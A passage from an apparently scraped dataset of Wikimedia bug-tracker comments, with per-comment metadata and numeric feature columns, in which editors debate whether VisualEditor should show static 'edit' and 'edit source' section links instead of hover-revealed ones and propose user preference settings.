*[[Wikipedia:Village pump (technical)/Archive 114]] - see section ""Removing the animation from 'edit source' section links on Visual Editor"".

Is it not a thousand times better for it to be a fully-maintained, baked-in preference that will not constantly become buggy after various MediaWiki updates?"
245533,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**turingt** wrote:

> 
> We don't love the [ edit ] [ edit source ] static links, because it feels
> cluttered and not the kind of user experience that we want to support.
> 
> Thoughts? If either of these feels like a reasonable path forward, we can
> re-use this bug to track it, or start a new one.

You seem to be under the impression that [ edit ] [ edit source ] dynamic links that appear and disappear on hover feel ''less'' clutter, but that's not the case.

The least possible clutter that support both editors is to show shorter links, and make them static:

[ edit | source ]

or maybe get rid of the square brackets - they don't look at all necessary if both links are always visible:

Edit | source

See? No clutter at all, and more functional for all users regardless of their javascript or pointing device availability.",,,1374356199,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,2,,2.5,0.0,0.0,0.0,1.5,5.5,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,2.0,0.0,0.5,0.5,1.0,0.0,0.5,0.0,1.0,2.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,14.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.5,2.0,6.5,1.5,4.0,5.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,7.0,3.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,2.0,0.5,0.0,3.7381275440976935,0.7148349163274537,"**turingt** wrote:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You seem to be under the impression that [ edit ] [ edit source ] dynamic links that appear and disappear on hover feel ''less'' clutter, but that's not the case.

The least possible clutter that support both editors is to show shorter links, and make them static:

[ edit | source ]

or maybe get rid of the square brackets - they don't look at all necessary if both links are always visible:

Edit | source

See? No clutter at all, and more functional for all users regardless of their javascript or pointing device availability."
245526,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #20)
> Are you sure the single link was the VE one?
> 
> I've seen some occasional cases where only the wikitext section links showed
> (this is also the default, e.g. if you have JavaScript disabled), but I can't
> recall one where only the VE section links showed, since the hover code has
> been setup.

It probably was a link to Source Editor, but when 'edit' could go to VE or SE, such confusion and concern results.  On mobiles, it's not possible to see what the link is without pressing it.",,,1374304107,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,3.0,20.0,2.0,5.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,11.0,12.0,0.0,3.0,0.0,5.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.242424242424242,0.7121212121212122,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It probably was a link to Source Editor, but when 'edit' could go to VE or SE, such confusion and concern results.  On mobiles, it's not possible to see what the link is without pressing it."
245520,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Are you sure the single link was the VE one?

I've seen some occasional cases where only the wikitext section links showed (this is also the default, e.g. if you have JavaScript disabled), but I can't recall one where only the VE section links showed, since the hover code has been setup.",,,1373928461,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,2.0,2.0,3.0,0.0,3.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,10.0,6.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,6.0,3.0,6.0,2.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.838709677419355,0.7419354838709677,"Are you sure the single link was the VE one?

I've seen some occasional cases where only the wikitext section links showed (this is also the default, e.g. if you have JavaScript disabled), but I can't recall one where only the VE section links showed, since the hover code has been setup."
245514,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","A user on the English Wikipedia has today commented that the hover links are not always displaying when the system is being slow or unresponsive (their local system or the WMF servers). This obviously means that section editing in the classic editor is not available when its small footprint would be most beneficial

For reference they included their technical specs:
Downstream 20 Mb/s; Safari 6.0.5; Mac OS 10.8.4; 2.7 GHz Intel Core i7 (64-bit); 8 GB 1333 MHz DDR3; Flash 11.8.800.94; Java 1.6.0_51.",,,1373832913,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,4.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,3.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,0.5,0.0,0.0,1.0,9.5,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,2.0,1.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,3.0,3.0,14.5,0.0,0.0,0.0,3.0,0.0,1.0,0.5,0.0,1.0,0.0,1.0,0.0,4.147058823529411,0.8529411764705883,"A user on the English Wikipedia has today commented that the hover links are not always displaying when the system is being slow or unresponsive (their local system or the WMF servers). This obviously means that section editing in the classic editor is not available when its small footprint would be most beneficial

For reference they included their technical specs:
Downstream 20 Mb/s; Safari 6.0.5; Mac OS 10.8.4; 2.7 GHz Intel Core i7 (64-bit); 8 GB 1333 MHz DDR3; Flash 11.8.800.94; Java 1.6.0_51."
245507,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I'd prefer just showing them always, too (they can then be easily be hidden separately with CSS if necessary). But others prefer how it is done now (see Erik Möller's concerns in comment 13).

That's why I proposed a *prefer*ence here.

Anyway, if we should decide against a preference, showing them always is the way to go, because the current hovering effects are a nightmare for both, accessibility and customizeability.",,,1373551894,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,0.0,3.0,2.0,1.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,13.0,9.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,6.0,6.0,9.0,6.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,8.0,9.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,3.0,2.0,3.0,0.0,0.0,0.0,4.0,0.7528089887640449,"I'd prefer just showing them always, too (they can then be easily be hidden separately with CSS if necessary). But others prefer how it is done now (see Erik Möller's concerns in comment 13).

That's why I proposed a *prefer*ence here.

Anyway, if we should decide against a preference, showing them always is the way to go, because the current hovering effects are a nightmare for both, accessibility and customizeability."
245499,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**gigs** wrote:

Eduard Braun's preferences proposal would work to solve all the use cases, but I don't see how this is superior to just always showing both links, with a preference for reverting to the old behavior (which already exists).

Users will quickly adjust to clicking on their preferred mode, if both are always shown.",,,1373551134,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,4.0,3.0,6.0,3.0,1.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,4.0,0.0,0.0,0.0,3.9014084507042255,0.8169014084507042,"**gigs** wrote:

Eduard Braun's preferences proposal would work to solve all the use cases, but I don't see how this is superior to just always showing both links, with a preference for reverting to the old behavior (which already exists).

Users will quickly adjust to clicking on their preferred mode, if both are always shown."
245492,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",Custom CSS workaround available at https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=563794311#Removing_the_animation_from_.22edit_source.22_section_links_on_Visual_Editor,,,1373539008,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,Custom CSS workaround available at URL
245485,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","However this will be solved: Put thought in it!
I could imagine, that this decision will determine whether people will be disabling/hiding VE or keep using it along with the Wikitext editor.

A proposal from my side which might be a better fit from a user's point of view:

1) One setting (radio button) that determines which editor the user prefers for normal tasks (e.g. whether ""edit"" or ""edit source"" is shown first in toolbar or whether ""edit"" or ""edit source"" is shown as section edit link while the other one is shown on hover only)
(o) Prefer VisualEditor
( ) Prefer Wikitext Editor

2) One setting (radio button) to control how edit section links are handled
(o) show preferred edit link, show the other one on hover
( ) always show both edit section links
    ([edit|edit source] or the other way round depending on 1)
( ) only show preferred edit section link, don't show the other one at all.
( ) no edit section links at all",,,1373509125,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,1.6666666666666667,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,6.0,7.333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,4.333333333333333,4.666666666666667,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,2.6666666666666665,0.3333333333333333,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.3333333333333333,17.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,3.3333333333333335,2.3333333333333335,4.333333333333333,2.0,1.6666666666666667,5.666666666666667,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,1.6666666666666667,0.0,1.3333333333333333,7.333333333333333,2.0,0.0,2.6666666666666665,0.0,1.3333333333333333,0.0,1.3333333333333333,1.0,0.0,1.0,0.3333333333333333,0.0,1.0,3.611111111111111,0.6388888888888888,"However this will be solved: Put thought in it!
I could imagine, that this decision will determine whether people will be disabling/hiding VE or keep using it along with the Wikitext editor.

A proposal from my side which might be a better fit from a user's point of view:

1) One setting (radio button) that determines which editor the user prefers for normal tasks (e.g. whether ""edit"" or ""edit source"" is shown first in toolbar or whether ""edit"" or ""edit source"" is shown as section edit link while the other one is shown on hover only)
(o) Prefer VisualEditor
( ) Prefer Wikitext Editor

2) One setting (radio button) to control how edit section links are handled
(o) show preferred edit link, show the other one on hover
( ) always show both edit section links
    ([edit|edit source] or the other way round depending on 1)
( ) only show preferred edit section link, don't show the other one at all.
( ) no edit section links at all"
245476,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #13)
> We've been kicking around the section editing behavior a fair bit, and we
> recognize the need for more flexibility, in part because the mouseover
> interface doesn't translate well to touch-based user interfaces. (We also
> recognize that section-editing in VisualEditor overall is still a bit of a
> crutch, but that's a larger discussion.)

The two issues I'm seeing from users are that:

A. some editors are annoyed by the animation, particularly when scrolling or trying to target a specific link with a mouse quickly (or when using a touchscreen device, as you note); and

B. some editors are annoyed by VisualEditor generally and would simply like to disable/hide all traces of it.

> What James and I would like to suggest here is a multi-way pref:
> 
> Section editing links
> (x) Hybrid edit / edit source links [default]
> ( ) Edit sections via VisualEditor
> ( ) Edit sections as wikitext
> ( ) Disable section editing
> 
> The section editing feature is already disable-able, so we could just merge
> the pref.

This proposed solution solves problem A (the animation/hover issue) for the non-default case (not really helpful...), while inhibiting users who want both links but without any animation/hover. Not great. For problem B, it mitigates the impact of VisualEditor slightly (though users are still left with two tabs at the top of the page and probably slower load times as a result of VisualEditor).

> If folks think that's too much, we could just have a single
> 
> [ ] Support section editing via VisualEditor 
> 
> checkbox as this point, enabled by default, which turns on or off the hybrid
> mode.

This proposed solution doesn't solve problem A (animation/hover) and doesn't solve problem B (VisualEditor being enabled at all).

I'm not sure either proposed (compromise) solution is better than the current situation. However, there's already an existing user preference to disable VisualEditor that was inexplicably removed. It's difficult to tell how many editors are having problem A or are having problem B, but re-adding a user preference to disable VisualEditor would solve problem B for sure and largely solve problem A (for those who find problem A to be a problem...).",,,1373505406,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,1.5,0.0,0.0,1.25,1.25,4.0,0.75,0.0,0.25,0.0,1.0,1.0,0.0,0.25,0.25,0.5,0.25,5.75,8.25,0.0,2.0,0.0,0.25,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.25,5.25,0.75,0.75,0.75,0.25,0.0,0.0,0.25,0.75,0.0,0.0,0.0,2.0,0.5,0.25,0.0,0.0,0.0,14.25,1.25,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.25,0.0,0.5,0.0,0.25,0.0,4.0,2.75,12.5,1.5,3.0,6.0,0.0,0.0,0.0,0.25,3.75,0.0,0.75,0.0,1.5,8.25,5.75,0.0,0.0,0.0,1.5,0.0,1.75,2.0,0.0,2.5,0.5,0.0,0.0,3.959375,0.65625,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The two issues I'm seeing from users are that:

A. some editors are annoyed by the animation, particularly when scrolling or trying to target a specific link with a mouse quickly (or when using a touchscreen device, as you note); and

B. some editors are annoyed by VisualEditor generally and would simply like to disable/hide all traces of it.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This proposed solution solves problem A (the animation/hover issue) for the non-default case (not really helpful...), while inhibiting users who want both links but without any animation/hover. Not great. For problem B, it mitigates the impact of VisualEditor slightly (though users are still left with two tabs at the top of the page and probably slower load times as a result of VisualEditor).

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This proposed solution doesn't solve problem A (animation/hover) and doesn't solve problem B (VisualEditor being enabled at all).

I'm not sure either proposed (compromise) solution is better than the current situation. However, there's already an existing user preference to disable VisualEditor that was inexplicably removed. It's difficult to tell how many editors are having problem A or are having problem B, but re-adding a user preference to disable VisualEditor would solve problem B for sure and largely solve problem A (for those who find problem A to be a problem...)."
245470,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","We've been kicking around the section editing behavior a fair bit, and we recognize the need for more flexibility, in part because the mouseover interface doesn't translate well to touch-based user interfaces. (We also recognize that section-editing in VisualEditor overall is still a bit of a crutch, but that's a larger discussion.)

What James and I would like to suggest here is a multi-way pref:

Section editing links
(x) Hybrid edit / edit source links [default]
( ) Edit sections via VisualEditor
( ) Edit sections as wikitext
( ) Disable section editing

The section editing feature is already disable-able, so we could just merge the pref.

Having three modes may seem like overkill at this stage but James feels that having an option for VisualEditor specifically at least puts a flag in the ground that we want to continue to improve section editing usability.

If folks think that's too much, we could just have a single

[ ] Support section editing via VisualEditor 

checkbox as this point, enabled by default, which turns on or off the hybrid mode.

We don't love the [ edit ] [ edit source ] static links, because it feels cluttered and not the kind of user experience that we want to support.

Thoughts? If either of these feels like a reasonable path forward, we can re-use this bug to track it, or start a new one.",,,1373503336,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,1,,0.3333333333333333,0.0,0.0,0.0,1.0,5.666666666666667,1.0,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,1.0,0.0,0.0,0.0,3.3333333333333335,0.0,4.666666666666667,11.666666666666666,0.0,2.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,2.0,6.333333333333333,2.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,15.333333333333334,1.3333333333333333,1.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,6.333333333333333,1.3333333333333333,7.333333333333333,2.3333333333333335,2.3333333333333335,9.333333333333334,0.0,0.0,0.0,0.0,5.0,0.0,0.3333333333333333,0.0,4.0,11.666666666666666,2.6666666666666665,0.3333333333333333,0.0,0.0,4.0,0.0,1.3333333333333333,3.3333333333333335,0.0,3.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,3.9122807017543857,0.7333333333333334,"We've been kicking around the section editing behavior a fair bit, and we recognize the need for more flexibility, in part because the mouseover interface doesn't translate well to touch-based user interfaces. (We also recognize that section-editing in VisualEditor overall is still a bit of a crutch, but that's a larger discussion.)

What James and I would like to suggest here is a multi-way pref:

Section editing links
(x) Hybrid edit / edit source links [default]
( ) Edit sections via VisualEditor
( ) Edit sections as wikitext
( ) Disable section editing

The section editing feature is already disable-able, so we could just merge the pref.

Having three modes may seem like overkill at this stage but James feels that having an option for VisualEditor specifically at least puts a flag in the ground that we want to continue to improve section editing usability.

If folks think that's too much, we could just have a single

[ ] Support section editing via VisualEditor 

checkbox as this point, enabled by default, which turns on or off the hybrid mode.

We don't love the [ edit ] [ edit source ] static links, because it feels cluttered and not the kind of user experience that we want to support.

Thoughts? If either of these feels like a reasonable path forward, we can re-use this bug to track it, or start a new one."
245464,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","I misspoke. The only VE gadget now in preferences is this one: ""Remove VisualEditor from the user interface."" 

But my point is that each language version of Wikipedia should not have to create gadgets to provide VE options to its editors. 

Some preferences need to be provided in all MediaWiki installations. Or at least all Wikimedia installations of MediaWiki. For example:
*Display both ""edit"" and ""edit source"" links for sections without hover.
*Remove VisualEditor from the user interface (VE still loads, but it can not be used).

The first preference will mean that far fewer people will use the second preference. And the 2 preferences should be together so that people can see why they should choose the first preference over the other. The reason being that since VE still loads, one saves no load time by blocking access to using VE.",,,1373171885,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,1.0,1.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,0.0,4.5,12.5,0.0,1.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.5,4.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,2.5,0.0,0.0,0.0,0.0,0.5,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,5.0,3.5,12.0,4.0,2.5,8.5,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.5,12.5,6.5,0.0,3.0,0.0,3.5,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.0,4.140150478796169,0.7251025991792066,"I misspoke. The only VE gadget now in preferences is this one: ""Remove VisualEditor from the user interface."" 

But my point is that each language version of Wikipedia should not have to create gadgets to provide VE options to its editors. 

Some preferences need to be provided in all MediaWiki installations. Or at least all Wikimedia installations of MediaWiki. For example:
*Display both ""edit"" and ""edit source"" links for sections without hover.
*Remove VisualEditor from the user interface (VE still loads, but it can not be used).

The first preference will mean that far fewer people will use the second preference. And the 2 preferences should be together so that people can see why they should choose the first preference over the other. The reason being that since VE still loads, one saves no load time by blocking access to using VE."
245459,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","There is no way this should be ""Lowest"" in importance. Moved up to ""Normal"". I would change enhancement to ""normal"" also, but developers still seem dead set against making the choice dead simple and easy; or as one recent commenter wrote: ""I am talking about giving editors easy way to choose the way they want to edit wikipedia."" This is a common request. 

This needs to be a baked-in option in the edit tab of preferences. Not an ad hoc addon gadget as it is now in English Wikipedia. At least then registered editors can keep editing most efficiently. Choosing instantly between visual editor and source editor as the need arises. Registered editors do twice as many edits each month as anomymous IP editors. See chart:
[[File:Anonymous, registered, and bot edits. English Wikipedia timeline by percent of edits.png]]

So if you can't get it right for anonymous editors, at least allow registered editors to get it right with an option.",,,1373171236,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,0.0,1.0,9.5,1.5,0.0,0.0,0.5,4.5,0.5,0.0,0.0,0.5,1.0,0.0,6.0,13.0,0.0,2.0,0.5,0.0,0.5,1.0,1.0,0.0,0.0,0.5,0.5,0.0,4.5,0.5,1.5,0.5,0.5,0.5,0.0,1.0,1.5,0.5,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,15.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.5,0.5,2.5,6.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,3.5,13.0,4.0,0.0,4.0,0.0,3.5,0.0,0.0,2.0,0.0,2.5,0.0,1.5,2.5,3.954545454545454,0.7070707070707071,"There is no way this should be ""Lowest"" in importance. Moved up to ""Normal"". I would change enhancement to ""normal"" also, but developers still seem dead set against making the choice dead simple and easy; or as one recent commenter wrote: ""I am talking about giving editors easy way to choose the way they want to edit wikipedia."" This is a common request. 

This needs to be a baked-in option in the edit tab of preferences. Not an ad hoc addon gadget as it is now in English Wikipedia. At least then registered editors can keep editing most efficiently. Choosing instantly between visual editor and source editor as the need arises. Registered editors do twice as many edits each month as anomymous IP editors. See chart:
[[File:Anonymous, registered, and bot edits. English Wikipedia timeline by percent of edits.png]]

So if you can't get it right for anonymous editors, at least allow registered editors to get it right with an option."
245452,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**gigs** wrote:

It's difficult to focus without clicking on a touchscreen as well.",,,1373150662,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"**gigs** wrote:

It's difficult to focus without clicking on a touchscreen as well."
245445,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","(In reply to comment #7)
> It seems no one has pointed out that pads and phones and touchscreens usually
> can't ""hover"".  Hover stuff should pretty much never be a necessary part of
> any web UI.

It's not a necessary part.  First, the 'edit source' link at the top does not require any hover.  Second, the same thing occurs ('edit source' section link is shown) when you focus on the 'edit' section link (onfocus).",,,1373148915,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,0,,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,10.0,1.0,0.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,8.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.112676056338028,0.6197183098591549,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE

It's not a necessary part.  First, the 'edit source' link at the top does not require any hover.  Second, the same thing occurs ('edit source' section link is shown) when you focus on the 'edit' section link (onfocus)."
245438,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","This should be a priority and not just an enhancement. To think that future versions of MediaWiki will be crippled longterm by this incredibly buggy and slow visual editor is very discouraging. 

At the very least there needs to be a preference for direct ""edit"" and ""edit source"" links built in to MediaWiki preferences on the edit tab of preferences. MediaWiki installations should not need a ""gadget"" preference added for this by each webmaster of every MediaWiki installation. 

The hidden link to ""edit source"" is slowing down many editors. For more info and other options: 

[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#Edit_and_edit_source_links_so_confusing_I_had_to_disable_Visual_Editor_in_preferences]]

[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#Note_the_many_unhappy_people_who_do_not_see_the_HIDDEN_.22edit_source.22_link]]

A thread linked in a previous comment (comment 1) has been archived:
[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#How_to_disable.3F]]

There have been many more comments requesting a direct link to ""edit source"" on each section. See:
[[Wikipedia:VisualEditor/Feedback]] and its archives.

Slowing down the many editors who will continue to need source editing to edit complex things more easily is a really dumb idea. What is the logic? That you will irritate and trick editors into using the visual editor? That they will click the ""edit"" link instead of the ""edit source"" by being tricked? It is extremely irritating to have to spend extra time to get to source editing. You will not lack in bug reports by providing direct links to ""edit source"". 

For help on putting links in Bugzilla threads:
